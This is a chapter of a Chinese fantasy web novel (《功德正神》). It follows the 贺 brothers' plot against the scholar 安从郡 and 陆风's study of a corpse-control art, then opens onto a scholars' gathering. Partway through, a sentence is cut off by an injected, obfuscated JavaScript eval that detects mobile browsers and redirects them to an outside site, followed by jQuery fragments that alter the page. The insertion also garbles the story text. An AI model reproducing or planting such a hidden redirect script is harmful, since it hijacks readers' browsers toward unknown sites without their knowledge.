第133章 文人聚会
作品:《功德正神》 “没想到连大哥也知道了。”
听见贺恮询问摔跤之事,贺展知全身上下都有一种坐立难安之感,仿佛身上还沾有粪便的味道,久久不散。
贺恮见他这个模样,就笑了一下,嘱咐道:“总是这样马马虎虎的不行,下一次出门要小心一些,还要带上几个下人。”
贺展知像个小孩那样,窘迫地抓抓头发道:“我知道了大哥,下次会小心的,嗯……不知大哥叫我来做什么?”
贺恮对贺展知转移话题的事毫不在意,反而亲手倒了一杯茶水递给贺展知。
“谢谢大哥!”
贺展知露出一副受宠若惊之态。
贺恮随意摆摆手,问道:“你可知道当世大儒安从郡?”
感觉这个名字有些熟悉,贺展知仔细想了一下,突然恍若大悟道:“大哥说的是前不久才辞官归隐的那位安公?”
“嗯。”贺恮点点头,抬着茶杯闲聊一般道:“看来六弟是知道这位安公的,父亲常说你不学无术,我看就不觉得。”
“大哥太抬举我了,”贺展知笑的没脸没皮的,“我就是知道那么一点,听学堂的夫子提到过。”
贺家不喜家中子弟当个吃喝嫖赌的废物,败坏贺家名声。
所以贺家有专门的学堂,专供这些子弟读书,就是不受家主待见的那些子弟也要去读书,而贺展知就是其中一个。
“大哥这么突然提起这个人了?”
贺恮放下茶杯,慢悠悠地看着贺展知,平静道:“这位安公眼下就在濠州。”
听见贺恮这话,贺展知就双眼瞪大,十分惊讶意外。
“大哥是说那位大儒竟然来了我们濠州吗!”
贺展知是真的不知道这事,所以脸上的诧异做不得假。
也无需做假,对方好歹是大儒,这样的大人物就算不仰慕,那怀有好奇、想看一眼究竟长什么样也是正常的。
所以看见贺展知这个反应,贺恮并不觉得有什么,反而是面露苦恼。
“是啊,这位安公现在就在濠州,父亲的意思是,想请安公进入贺家,为咱们兄弟几个教学。”
“原来如此。”
若是真的能请来一位德高望重的大儒进入贺家,这对贺家来说,相当于又得到了一个濠州。
贺家之名将不再只在濠州打转,可传遍赤燕。
知道这个消息后,贺展知心中打鼓。
安从郡在濠州的消息看来并没有到人尽皆
知的地步,就连贺家内部也没有听说,至少他就没有,想来是绝密的消息。
那现在贺恮突然把这事告诉自己的用意是什么?
贺展知根本猜不透,只能装傻充愣地坐着喝茶。
贺恮见贺展知不说话,他就长叹一声。
“可惜大哥不中用,上次去就被安大儒给拒绝了……”
“大哥别为难,肯定是那安大儒不想收学生,听说他至今都没有收到几个门生,是唯一不桃李满天下的大儒。”
“……”
看贺展知依旧一副不明所以的样子,贺恮便直接道:“大哥觉得这是安大儒在考验咱们的决心,只是……大哥事情较多,实在抽不开身去安府门口等着,其他兄弟又都不在府里,所以这事大哥思来想去,决定还是要交予六弟你。”
“我?”
听到让自己去请安从郡进入贺家,贺展知下意识就皱眉,一副苦大仇深的样子。
“安大儒连大哥都能拒绝,那我去就更没有希望了,只怕是连门都进不去。”
贺恮站起身拍拍贺展知的肩膀,“六弟放心,父亲既然是将这件事情交给我去做的,那请不来的话,后果自有我一力承担。”
安慰的同时,又利诱道:“我不会让父亲发现是六弟你做的,但若是你能请来安大儒,那这就是大功一件,到时我会禀明父亲,你在父亲心中定然会更加重要。”
办不成没危险,办成了立大功。
看贺恮都这么说了,贺展知就知道自己这一遭是必走无疑了。
但是对方可是一位大儒啊。
这样的大儒什么人没有见过,想收什么样的门生没有。又怎么可能看得上这濠州里的一个小世家呢,只怕是去了,他连门都进不去。
其实贺恮这几日一直出门去找一个人的事,贺展知是知道一点的,但是他并不知道找的人是谁。
直到现在才明白。
连贺恮这样表面毫无瑕疵的人,都去了几次才见到人,那他去的话岂不是去自讨没趣。
但是他没有拒绝的能力,贺展知只能无奈叹息,“那我……便去试试吧。”
“辛苦六弟了。”
两兄弟又寒暄几句之后,贺展知就耷拉着头离开了贺恮的院子。
贺展知走了没有多久,贺恮身边突然多了一个人。
他全身上下都被黑袍遮着,看不到面容,只能听见他低沉的声音。
“把这样的事给他一个碌碌
无为的人可以吗?”
“自然是不可以。”
贺恮慢条斯理的喝着茶脸上没了之前面对贺展知时的笑容。
“但是总要有一个人来堵住父亲的嘴而且安从郡一定知道那些走尸与我们有关说不定现在正想着要怎么对付我们呢。”
他们做的事贺家家主并不知道所以表面上请大儒教书的事还得继续让贺展知去吸引视线最好。
说起那走尸贺恮眼中就闪过一抹狠色。
“难道安从郡身边有隐藏的高手在吗?否则他和一个老管家如何能解决那么多走尸?”
当初他们可是亲眼看着那些走尸进入安从郡所在的宅子的。
原本以为能给那个老头一个下马威但是没想到对方一点事情没有魏隆还跑了。
“魏隆找到了吗?”
黑袍人摇摇头。
贺恮眼中闪过一抹狠色。
“找到他杀了他。”
“是。”
……
冬季天黑较早陆风悠哉地回到安从郡的宅子时看见了令人乍舌的一幕。
不知道为什么安从郡身上的浩然正气若隐若现这让陆风一进门后就以为是自己不在的这段时间里安从郡遇见了危险导致浩然正气消耗了一半。
结果仔细一看他才发现安从郡这是被他昨天晚上留下的棋局给弄得有些心境崩溃了。
只见棋局旁边满地都是推演棋局的草纸每一张纸都被安从郡画的乱七八糟的。
而安从郡的头发已经不像早上那样梳得一丝不苟反而是被手指给薅得乱糟糟的。
“怎么会这样?”
安从郡手里拿着毛笔衣服上沾染了好些墨水他也没有察觉。
他的双眼始终直勾勾地看着石桌上的棋局嘴里一直嘀嘀咕咕的
陆风也没有想到自己心血来潮随手摆下的一盘棋竟然会让这样满头白发的老人崩溃到连浩然正气都给消耗大半了。
这让他心生愧疚。
发现老管家悠闲地在一旁烤肉吃陆风上前问:“老先生这样多久了?”
老管家看了一眼陆风又回头看看安从郡。
“一直都这样啊一动也没有动过。”
“先生不用管他年纪大了就这样。”
老管家边说边将手里烤好的肉递给陆风丝毫不觉得安从郡有问题。
陆风叹息一声婉拒了老管家的好意转
身向安从郡走去。
他怕这样下去安从郡身体受不住毕竟都是一把年纪了要是真的因为自己的缘故出点什么事那他且不是罪孽深重。
“老先生……”
安从郡看见陆风过来不等陆风开口说话他就拉着陆风将自己新想出来的破局草纸交予陆风。
“先生你看看我这次的棋解对没有这可是我花了最多时间才找到的解棋方法。”
陆风拿过来仔细看了看。
安从郡的棋艺自然是无话可说也是非常厉害的只是……陆风看了几眼就发现不对。
不过他看安从郡有些中邪的样子那两个字实在不敢说出来了只能试探性地问:“要不我把棋给解了吧。”
谁知安从郡突然就生气了两眼一瞪道:“先生莫不是看不起我!”
见安从郡声音洪亮陆风就不再继续这个问题想着就任由他去吧。
好在安从郡架不住香味的诱惑还是吃了点东西但是吃的时候还是想着棋局的事没吃几口就又继续解自己的棋去了。
陆风也不再管他自己回到屋里拿出之前从魏隆那里得来的控制之术看了起来。
难怪常说要集众人之长呢人总有许多奇思妙想研究出许多新东西。
陆风手里的控制之术就是这样。
捣鼓出这控制之术的人竟然只是一个收尸人。
此术叫控尸术与控鬼术这样的大禁术不同这控尸术最初只能控制尸体没有任何杀伤力就是收尸人为了方便搬尸捣鼓出来的。
看着还十分有趣。
但人活着就难免遇见危险所以控尸术就有了改变
后来为了让尸体有杀伤力控尸术再改进普通尸体变成了由怨气所支配着的走尸。
慢慢就成了陆风看见的样子。
稻草人陆风倒是不陌生这玩意儿像极
了他在另外一个世界看见的阴诡之术也就是诅咒感觉两个术法有相似之处。
“可惜了搞错了进化的方向。”
控尸术对魏隆这样以收尸为生的人来说确实是极好的帮手。
可惜现在变成了害人之术。
不仅如此陆风看完之后还发现这术法之中有一个弊端。
就是走尸身体里的怨气和尸气。怨气与尸体无疑就是最好的相辅相成的成长手段。
一但
怨气在尸体中堆积过多,或是在尸体中存在的时间过长,在特定的条件下就会产生尸变,尸体将会变成一种特别的僵尸。
血僵。
一个连鬼都不如的存在,鬼好歹还有自己的想法,但血僵可没有。
一旦血僵出现一只,它就会像瘟疫一样迅速蔓延,所到之处无一幸免。
它们连害怕都不知道是什么,不知疼痛疲倦死亡,就是一个大杀器,无所畏惧。
好在寻常走尸没有思考的能力,属于见光死,不可能变成血僵。
陆风合上书,深感控尸术这个问题有点大。
不过好在那日他看魏隆也不像是修炼有成的样子,顶多是一个半吊子,那些尸体在他的手里尸变不了。不过这个事还是要给他说一声,免得他运气不好,造成大祸。
虽说这控鬼术不是正派的,但是陆风却受了一点启发,改一改的话也不是没可取的地方。
想明白之后,陆风就将书给收了起来。
趁着这个空闲的时间,盘膝坐在床上静静聆听来自远方的祈祷之声。
院子里,正在苦思冥想的安从郡突然闻到了一股安神定心的香味,四处寻找之下他看见了有缕缕白色烟雾从陆风的房门之中渗出来。
“这是什么东西?”
安从郡凑近了仔细闻,又四处看,一会儿后他松了一口气,“不是着火就行。”
说罢,他拍拍屁股继续去研究石桌上的那一盘棋。
在安从郡走了之后,陆风总算是能安心感受香火了。
他人虽然离开了璋县,但是这香火却从未断过,而且是一日比一日更旺盛。
小山村自然无话可说,那毕竟是发源地,还有人不远万里来到长生殿上香。
吴羽子没事儿的时候会在长生殿里呆着,用他的话来说就是沾沾仙气。
听见有人提到鬼物的时候,他也会跟着那些人走一趟。
手里拿着陆风赠予他的功德戒尺,除一两次鬼后他就发现功德戒尺在变强,渐渐也乐在其中。
但他经常与袁成杰切磋,这让袁成杰很是郁闷。
吴羽子资质本就比他要好上许多,从前他还能凭借年长和强大修为压吴羽子一下。
但是现在,自从吴羽子有那把戒尺之后,他精神一天比一天好,实力也如滴水一样在涨,仿佛不存在大限的说法了。
袁成杰时常在想:要不我也去沾沾仙气……
有变化的不止吴羽
子,陆风亦是。
从前,陆风身上的香火淡薄到无需遮掩,但是现在他身上的香火若是不做掩饰,那他走到哪里,仙人之名就会留在哪里。
只因这些香火缠绕在他的身边,就仿佛仙气一般,身上时不时还有功德产生的白光闪耀。
这要说他不是仙人,都没有人相信。
陆风在屋里坐了一夜,翌日清晨才收敛气息,换好衣服拿着竹竿出门。
打开门他就愣住。
只见安从郡像木头一样站在房门前,身上的浩然正气到处都是窟窿,还变得极其稀薄。
安从郡像行尸走肉一样,双眼遍布红血丝,眼底一片
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011017|111590||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乌青,身上尽是寒意,一点温度都没有。
若是换成其他人,估计会以为安从郡这是猝死了。
“老先生您这是一夜没睡?”
听见陆风的问话,安从郡才像是回魂一样,长长吐出一口气,声音沙哑道:“我今日有几个老朋友要来,我们相约要在城外汇合,我想邀先生一起去。”
安从郡说一句就要停顿许久,身上寒气袭人,细看下仿佛是结冰了。
陆风忍不住皱眉,他看安从郡这个样子就想让他在家休息一下,但是又想到既然是提前有约,那爽约了便是不好。
“陆某便同老先生一起去吧。”
无端端的,陆风在安从郡的身上看见了天机的影子。
都极其执着。
陆风伸出手轻抚安从郡身上的灰尘,暗中在手上附着了功德,将之打入了安从郡的体内。
他的动作非常之小,安从郡并没有发现,只是下一刻便觉得神清气爽。
陆风与安从郡早早就出门了,听安从郡的意思,要去的地方尚远,需早点出门才能赶得上,他们还顾了一辆马车赶路。
因为刚给安从郡送入一丝功德的原因,安从郡一路上都十分精神。
但身体还是受不住一路的颠簸折腾,陆风就在暗中使了一点手段,让安从郡闭眼睡了过去,一路睡到目的地。
下车后跟着安从郡走,陆风发现他们来的地方竟然是一处河流,不远处还有一栋别具风格的雅楼。
因为此处地势较低的原因,在其他地方因为冬季而草木枯萎的时候,这河水两岸还有绿草,河水之上还有些许雾气缭绕。
安从郡他们看惯了落叶残枝,相比之下这是非常不错的景色了,让人身上的寒气都少了几分。
不远处的雅楼还让来此
处游玩的游人,有了一个落脚的地方。
安从郡一边走一边给陆风描述眼前的景色,最后领着陆风进入雅楼。安从郡一来,那老板就将他们引入了二楼的雅间里。
里面空无一人,看来是安从郡的那些朋友还没有到。
雅间里提前烧好了火炭,安从郡一进门就将身上披着的大袍给解了下来,引着陆风来到窗边。
从窗户往外眺望,刚好能将附近的景色尽收眼底。
房间里还插着几只梅花,花朵上飘出来几点幽香,为阁楼更添一分雅致。
为陆风细细描述之后,安从郡问:“先生觉得此处景色如何?虽然比不上春日的百花盛景,但是在看遍了那些黄叶干枝后,现在乍然看见这一河岸的绿色,反倒是更显得弥足珍贵。”
陆风点点头,深有同感。
但他最感兴趣的还是屋里插着的几枝梅花。
陆风很是奇怪,虽说已是冬季,但他一路走来,都不见其他地方有梅花开,为何这里会有。
“对面山中有个山坳,那山坳之中长满了梅花,是不少文人雅士冬日里都会去的地方。”
安从郡他们一会儿也会过去。
听见有一山坳的梅花,陆风也来了一些兴趣。
他们等了不久,期间还找小二拿了一些吃的,边吃边等。
奇怪的是安从郡的棋还是没有解开,不过他现在却不着急了,仿佛那盘棋从来没有存在过。
午间十分,有两道脚步声从楼梯口传来。
安从郡起身相迎时陆风也未托大,跟着站了起来,拿着青竹竿向楼梯走去。
下一刻,陆风就看见两个同样身带浩然正气的男子走了进来。
他们的年纪和安从郡相差不大,有一个已经是古稀之年。
“易兄,姜兄,别来无恙。”
安从郡最先拱手打招呼,面对那位年纪最大的易姓老者时,态度明显要更郑重一些。
对面的两人也同样拱手回礼,文人气质尽显,但看见安从郡脸色的时候明显一愣。
“安兄,先前听说你辞官归隐,我们还以为你是真的想回老家去种田了,没想到竟然跑到了这个地方,这位是……”
易水寒和姜云台一起看向陆风。
他们对站在安从郡身边的陆风感到意外,尤其是在看见陆风手里还拿着一根竹竿,双眼无神后更加感到意外。
安从郡赶紧给两人介绍道:“这位先生是我前些日子
认识的一个好友,如今正住在我家中,我今日来赴宴,便邀请先生一起过来了。
易水寒和姜云台听见安从郡称呼陆风为先生时,都颇感诧异,两人对视一眼,都明白对方现在的心中所想。
他们与安从郡虽然只有几次匆匆聚会,每次聚完又都是匆匆离别,但是读书人光是看对方的文章就知道这人是什么样的性子。
所以他们很清楚,安从郡这人平时有多么骄傲和注重他人的文采和涵养。
但是现在,他竟然对着一个年轻人叫先生,对此人的态度也无比温和,隐隐还有崇拜,这让两人感到狐疑。
有安从郡这样的表现在,他们也不敢小瞧了这个青衣男子,甚至干脆也叫先生。
“原来是陆先生,不知先生是何方人士的,为何我等没有见过?
陆风拱手回礼,“无名之辈,两位老先生没有见过陆某也实属正常。
易水寒两人不知道陆风是不是在谦虚,因为这个名字也确实是平平无奇,他们的确没有听过。
不过看陆风气质温文儒雅,倒也还算是和他们的胃口。
安从郡看两位老朋友的表情就知道他们在想什么,无非就是揣测陆风的身份罢了。
于是心中暗暗下决定,一会儿定叫他们吃吃自己吃过的苦。
不过当下还是先引几人相互认识。
“先生,这位姓易,字水寒,一把年纪了,那位叫姜云台,也是一把年纪了。
安从郡的介绍简单粗暴,这让易水寒两人感到不解。他们这群人那次相互认识时,不是细数平生著作,从未像今天这样草率。
更不解的是陆风听见他们两个的名字后的态度。
要是在以往,只要是读书人,在听见他们的名字时就变了态度,但是眼前的陆风虽然一直都是细心聆听的样子,但表情在听见他们两个的名字之后,却是没有丝毫变化。
不等两人多问什么,安从郡就道:“好了好了,站着做什么,赶紧坐下等吧。
四人入座之后,易水寒他们才将目光挪转到安从郡的身上。
“如今你回光返照,邀我们出来,是想看我们最后一眼吗?